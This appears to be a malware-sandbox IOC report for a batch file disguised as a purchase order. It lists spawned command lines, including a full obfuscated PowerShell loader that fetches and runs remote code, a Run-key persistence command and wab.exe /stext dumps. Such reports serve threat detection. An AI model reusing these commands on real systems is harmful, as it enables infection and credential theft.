IOC Report
PO_GM_list_28082024202003180817418280824_purchase_doc_00000(991KB).bat

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\nywdnxhzquvbdzxsrjdoxzvr"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\yakooqrtecnnfflwatqqaeiadgh"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\user\AppData\Local\Temp\iupgoicvskfsqlharedrlrcrlmrxexz"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$alismataceae='SUBsTR';$Lotah++;}$alismataceae+='ing';Function Viscometres($Rubellosis){$Overdaadigt=$Rubellosis.Length-$Lotah;For( $dekanterendes=2;$dekanterendes -lt $Overdaadigt;$dekanterendes+=3){$Firblads159+=$Rubellosis.$alismataceae.'Invoke'( $dekanterendes, $Lotah);}$Firblads159;}function Tilfredsstillelse($konerne){ . ($Hemibasidiomycetes) ($konerne);}$Annegretes=Viscometres 'BuMVio.lzNyiEfl,ilPraPr/Sn5Te.Fr0f ,l(gaW Ti.anSpds o,aw asFi h N aTAs z1,a0Sy.ud0Bi;bi TpW ,iOpnV,6Te4 C; r Bix P6Ud4Ng; ,trUnv ,: .1Sk2,r1,l.Di0Va),n ,GPre .cSkk oG,/Sm2Fa0R.1Ug0 .0ap1So0 R1Ge VeFS.iSar deStfrioRaxKu/ 1 P2,h1Os. .0 , ';$Milieuplanerne=Viscometres 'YoUVesLreTerPr-W A,rgRhe,yn,ct.u ';$Bageriers=Viscometres 'EnhFotAnt p L:Re/.l/IlcN.p.oaJunS.e lC.-Sma ndD.m ,iOpnT.h uoPesF t E..fcU.oKom.a/DeS PtN emevChnSts T1Ta7 C9Si.R mYoiAux.o ';$Arish=Viscometres 'Se>Re ';$Hemibasidiomycetes=Viscometres 'AmiGeePrxUd ';$Svaerd='Incisal';$dekanterendesndoneser = Viscometres 'w,er,cExh eoCh F %ReaInpCap dL aP,tU.aMo%H.\ChBLie.olAsi Un SdToaDe1Ch0 .3 .XoETofInt,t ,&Co& S SeMec EhS.o,i Gltuf ';Tilfredsstillelse (Viscometres 'Me$.ig olBloEdbGua.llD,:HiSEtt Mo AnS.e Er.foNioLatE = S(ArcTym.edWl M / rc U K$ ndD,e ,k GaKanEftI eOprT.e onOudHne.osTan,idPuo,on LeKes ieNurLs),f ');Tilfredsstillelse (Viscometres 'ta$Ovg klSpoKrbS aUnl ,:JoL ieH v de draneYed TeResBo=I.$ KBZia VgreeR,r,ei eePyr Eshy.TrsT,pErl.aitat,e( .$,oA .rRaiEnsSch O)Ph ');Tilfredsstillelse (Viscometres 'T,[JoN LeKrt.n.VaS e ur v,oiSic .eCaP,co Ki .nKntD,MFiacrn CaVagAse erR ] e:De:,oS eAfcHauFrrF iEntPryTaPLirBeoMet soPecM.o.il K Es=M ,d[ ONSte .tSj. ,SAfeN,cKruT r TiUntcoysoPSkr Aot t oHjc Ao,glBoTFiyBrpQ e.e] C:Va:U.T ,lS.s f1,r2.r ');$Bageriers=$Leveredes[0];$Varmeslangens= (Viscometres 'Cu$Dig wl DoP.bSkaVal :UiLC.iGeg eAnsIntO,iStl Ml ii SnSugFieB,r.nnF.e Lsda=DiNEneP wAn-woOskb TjB,eQ,cM.t PS.ayHus Nt.le Smdi.HiNcheCotfo.NoWExeSpb.mCT,l TiEmeDin Dt');$Varmeslangens+=$Stoneroot[1];Tilfredsstillelse ($Varmeslangens);Tilfredsstillelse (Viscometres 'Or$ oL Gi bgR,eG,sZit Cibrl.ul ,iT.nMigKleNorFonUne s r.GlHree DaPedDie,orBls.f[Af$KoMPaiFelTri se ,u sp Flora.unSte Fr,kn .e,a]Go=Me$MeA Bn,kn ,e PgHir keGat deFesJe ');$Mosegrundene=Viscometres ' E$ .LK.i.rg SeVus,etGii,olP lNei ,nGeg,oeMyrLinDreNas O.flD NoAlwInnSulhyoKraU.dSpFski PlS eKr(kr$ ,BFua cgBneFirReiSte,trHesBr,,r$BeR keFoh ,aRarLidIne ,nFu) D ';$Reharden=$Stoneroot[0];Tilfredsstillelse (Viscometres ',e$ g .lMoo Db ,aEnl R: HFShu osHaiTioEan Bs.daR,aMer.te HnDreNo=Vi(,yTWieVrsF t - .P sa.mt Mh s .o$SvR MePuhBra orRedSpeUnnRe) a ');while (!$Fusionsaarene) {Tilfredsstillelse (Viscometres 'Af$.ogEmlReo SbUna ,lLs: iNBroBon OsBioPrlReuPeb.nlClyFr=C.$MitRarLau eK ') ;Tilfredsstillelse $Mosegrundene;Tilfredsstillelse (Viscometres 'UnS tt Ma.ir Rt a- TSPilS eTreFap V ,e4 t ');Tilfredsstillelse (Viscometres ' H$Pag il RoKrbP.aRilVe:InFVuuPosUni Bo Bn,os .a TaRerBeeArn aeU =Am( ,TS.eDusUntE,-ciPUna tMihMa I$VaRBle ahDuaUnrEmd eFenGa)Pr ') ;Tilfredsstillelse (Viscometres ' $ IgArlBlocob Na,ulAr: kutadAgs ,i Ug TeFon UdJee S=F $,og Jl,roR,bEgaTalAf:R APomAlpFaeWirTeeCamNoeU tHirEkeFanNoePi+to+Au%.e$FaL AeGav pe .r e SdSkeTasIm..ucChol uPhn.otLo ') ;$Bageriers=$Leveredes[$udsigende];}$Callovian=319492;$Malaceae=27246;Tilfredsstillelse (Viscometres ' a$Lig.bl OoBab Haunl T:,hXPueEknSto ,pBeh oAmn BtToimacGa2 E4B 9Du Un=M, L.G.reUntTr- CCFuo.rn.utVee nSpt O F$stRHyeMahCia .r,edMaeKknDi ');Tilfredsstillelse (Viscometres ' $AmgTrlG,oOvbNoa,ul A:.eHGry.epIno Cc nh IoTel ,eResTotF,e ArB,i BnD.eLkmApi.ra.s En=Gr ,e[diS .yRes rt MeS.m a. oCT,osonV,vB.eBerG.tBe] s:Re:U,FR,rraoB mAyBSkahos,aeSt6.h4DuSCotI r.riConGrgRe(Sp$ScX AeAbnS,oInpO.h DoavnMetLiiOvcVa2B,4Ra9 ) , ');Tilfredsstillelse (Viscometres ',o$.rgf,l KoDyb,oaPhlT :SaG dhKreHatInt KoAne Ms S ,e=Ge K,[N,S TyIbs,at,fecomIn. eTlae Sx Rt U. SESpnS cAroFod,eiPanN,ggi]Ko:Ud:VeA.nSUnC.nIApI R.CyGPaeBitPoS RtAfrC iNenTagUd( B$ HH.yPapE o Gc.eh AoTal,ee BsRet e Tr oi Kn SestmFiiAcaBl)Bl ');Tilfredsstillelse (Viscometres ',i$PrgPal Po vbPeaL.l L:GoxL,yPrl,ooPapCoyOprP.o agStrPrak.p ohU,yBl=si$ oG PhDae ftUttSyoOre.rsHy. .s KuTybInsCatAprDriL.nw gTa(,a$PhCNiaE.lBilFloBrvB,i.aaKonMa,.e$inMKeaTrl MaUncLae.aa eE.)G ');Tilfredsstillelse $xylopyrography;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belinda103.Eft && echo t"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$alismataceae='SUBsTR';$Lotah++;}$alismataceae+='ing';Function Viscometres($Rubellosis){$Overdaadigt=$Rubellosis.Length-$Lotah;For( $dekanterendes=2;$dekanterendes -lt $Overdaadigt;$dekanterendes+=3){$Firblads159+=$Rubellosis.$alismataceae.'Invoke'( $dekanterendes, $Lotah);}$Firblads159;}function Tilfredsstillelse($konerne){ . ($Hemibasidiomycetes) ($konerne);}$Annegretes=Viscometres 'BuMVio.lzNyiEfl,ilPraPr/Sn5Te.Fr0f ,l(gaW Ti.anSpds o,aw asFi h N aTAs z1,a0Sy.ud0Bi;bi TpW ,iOpnV,6Te4 C; r Bix P6Ud4Ng; ,trUnv ,: .1Sk2,r1,l.Di0Va),n ,GPre .cSkk oG,/Sm2Fa0R.1Ug0 .0ap1So0 R1Ge VeFS.iSar deStfrioRaxKu/ 1 P2,h1Os. .0 , ';$Milieuplanerne=Viscometres 'YoUVesLreTerPr-W A,rgRhe,yn,ct.u ';$Bageriers=Viscometres 'EnhFotAnt p L:Re/.l/IlcN.p.oaJunS.e lC.-Sma ndD.m ,iOpnT.h uoPesF t E..fcU.oKom.a/DeS PtN emevChnSts T1Ta7 C9Si.R mYoiAux.o ';$Arish=Viscometres 'Se>Re ';$Hemibasidiomycetes=Viscometres 'AmiGeePrxUd ';$Svaerd='Incisal';$dekanterendesndoneser = Viscometres 'w,er,cExh eoCh F %ReaInpCap dL aP,tU.aMo%H.\ChBLie.olAsi Un SdToaDe1Ch0 .3 .XoETofInt,t ,&Co& S SeMec EhS.o,i Gltuf ';Tilfredsstillelse (Viscometres 'Me$.ig olBloEdbGua.llD,:HiSEtt Mo AnS.e Er.foNioLatE = S(ArcTym.edWl M / rc U K$ ndD,e ,k GaKanEftI eOprT.e onOudHne.osTan,idPuo,on LeKes ieNurLs),f ');Tilfredsstillelse (Viscometres 'ta$Ovg klSpoKrbS aUnl ,:JoL ieH v de draneYed TeResBo=I.$ KBZia VgreeR,r,ei eePyr Eshy.TrsT,pErl.aitat,e( .$,oA .rRaiEnsSch O)Ph ');Tilfredsstillelse (Viscometres 'T,[JoN LeKrt.n.VaS e ur v,oiSic .eCaP,co Ki .nKntD,MFiacrn CaVagAse erR ] e:De:,oS eAfcHauFrrF iEntPryTaPLirBeoMet soPecM.o.il K Es=M ,d[ ONSte .tSj. ,SAfeN,cKruT r TiUntcoysoPSkr Aot t oHjc Ao,glBoTFiyBrpQ e.e] C:Va:U.T ,lS.s f1,r2.r ');$Bageriers=$Leveredes[0];$Varmeslangens= (Viscometres 'Cu$Dig wl DoP.bSkaVal :UiLC.iGeg eAnsIntO,iStl Ml ii SnSugFieB,r.nnF.e Lsda=DiNEneP wAn-woOskb TjB,eQ,cM.t PS.ayHus Nt.le Smdi.HiNcheCotfo.NoWExeSpb.mCT,l TiEmeDin Dt');$Varmeslangens+=$Stoneroot[1];Tilfredsstillelse ($Varmeslangens);Tilfredsstillelse (Viscometres 'Or$ oL Gi bgR,eG,sZit Cibrl.ul ,iT.nMigKleNorFonUne s r.GlHree DaPedDie,orBls.f[Af$KoMPaiFelTri se ,u sp Flora.unSte Fr,kn .e,a]Go=Me$MeA Bn,kn ,e PgHir keGat deFesJe ');$Mosegrundene=Viscometres ' E$ .LK.i.rg SeVus,etGii,olP lNei ,nGeg,oeMyrLinDreNas O.flD NoAlwInnSulhyoKraU.dSpFski PlS eKr(kr$ ,BFua cgBneFirReiSte,trHesBr,,r$BeR keFoh ,aRarLidIne ,nFu) D ';$Reharden=$Stoneroot[0];Tilfredsstillelse (Viscometres ',e$ g .lMoo Db ,aEnl R: HFShu osHaiTioEan Bs.daR,aMer.te HnDreNo=Vi(,yTWieVrsF t - .P sa.mt Mh s .o$SvR MePuhBra orRedSpeUnnRe) a ');while (!$Fusionsaarene) {Tilfredsstillelse (Viscometres 'Af$.ogEmlReo SbUna ,lLs: iNBroBon OsBioPrlReuPeb.nlClyFr=C.$MitRarLau eK ') ;Tilfredsstillelse $Mosegrundene;Tilfredsstillelse (Viscometres 'UnS tt Ma.ir Rt a- TSPilS eTreFap V ,e4 t ');Tilfredsstillelse (Viscometres ' H$Pag il RoKrbP.aRilVe:InFVuuPosUni Bo Bn,os .a TaRerBeeArn aeU =Am( ,TS.eDusUntE,-ciPUna tMihMa I$VaRBle ahDuaUnrEmd eFenGa)Pr ') ;Tilfredsstillelse (Viscometres ' $ IgArlBlocob Na,ulAr: kutadAgs ,i Ug TeFon UdJee S=F $,og Jl,roR,bEgaTalAf:R APomAlpFaeWirTeeCamNoeU tHirEkeFanNoePi+to+Au%.e$FaL AeGav pe .r e SdSkeTasIm..ucChol uPhn.otLo ') ;$Bageriers=$Leveredes[$udsigende];}$Callovian=319492;$Malaceae=27246;Tilfredsstillelse (Viscometres ' a$Lig.bl OoBab Haunl T:,hXPueEknSto ,pBeh oAmn BtToimacGa2 E4B 9Du Un=M, L.G.reUntTr- CCFuo.rn.utVee nSpt O F$stRHyeMahCia .r,edMaeKknDi ');Tilfredsstillelse (Viscometres ' $AmgTrlG,oOvbNoa,ul A:.eHGry.epIno Cc nh IoTel ,eResTotF,e ArB,i BnD.eLkmApi.ra.s En=Gr ,e[diS .yRes rt MeS.m a. oCT,osonV,vB.eBerG.tBe] s:Re:U,FR,rraoB mAyBSkahos,aeSt6.h4DuSCotI r.riConGrgRe(Sp$ScX AeAbnS,oInpO.h DoavnMetLiiOvcVa2B,4Ra9 ) , ');Tilfredsstillelse (Viscometres ',o$.rgf,l KoDyb,oaPhlT :SaG dhKreHatInt KoAne Ms S ,e=Ge K,[N,S TyIbs,at,fecomIn. eTlae Sx Rt U. SESpnS cAroFod,eiPanN,ggi]Ko:Ud:VeA.nSUnC.nIApI R.CyGPaeBitPoS RtAfrC iNenTagUd( B$ HH.yPapE o Gc.eh AoTal,ee BsRet e Tr oi Kn SestmFiiAcaBl)Bl ');Tilfredsstillelse (Viscometres ',i$PrgPal Po vbPeaL.l L:GoxL,yPrl,ooPapCoyOprP.o agStrPrak.p ohU,yBl=si$ oG PhDae ftUttSyoOre.rsHy. .s KuTybInsCatAprDriL.nw gTa(,a$PhCNiaE.lBilFloBrvB,i.aaKonMa,.e$inMKeaTrl MaUncLae.aa eE.)G ');Tilfredsstillelse $xylopyrography;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belinda103.Eft && echo t"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bilateralities" /t REG_EXPAND_SZ /d "%Arrestationernes110% -w 1 $Faucals83=(Get-ItemProperty -Path 'HKCU:\sttyskers\').talevant;%Arrestationernes110% ($Faucals83)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bilateralities" /t REG_EXPAND_SZ /d "%Arrestationernes110% -w 1 $Faucals83=(Get-ItemProperty -Path 'HKCU:\sttyskers\').talevant;%Arrestationernes110% ($Faucals83)"

C:\Program Files (x86)\mEdjCLhGENFaxeOtHHyHLogHIxTeNJwCnROkqpaCmxInxofnfbtq\qeKrnFkDzDT.exe

"C:\Program Files (x86)\mEdjCLhGENFaxeOtHHyHLogHIxTeNJwCnROkqpaCmxInxofnfbtq\qeKrnFkDzDT.exe"

C:\Windows\SysWOW64\relog.exe

"C:\Windows\SysWOW64\relog.exe"

C:\Program Files (x86)\mEdjCLhGENFaxeOtHHyHLogHIxTeNJwCnROkqpaCmxInxofnfbtq\qeKrnFkDzDT.exe

"C:\Program Files (x86)\mEdjCLhGENFaxeOtHHyHLogHIxTeNJwCnROkqpaCmxInxofnfbtq\qeKrnFkDzDT.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\Firefox.exe"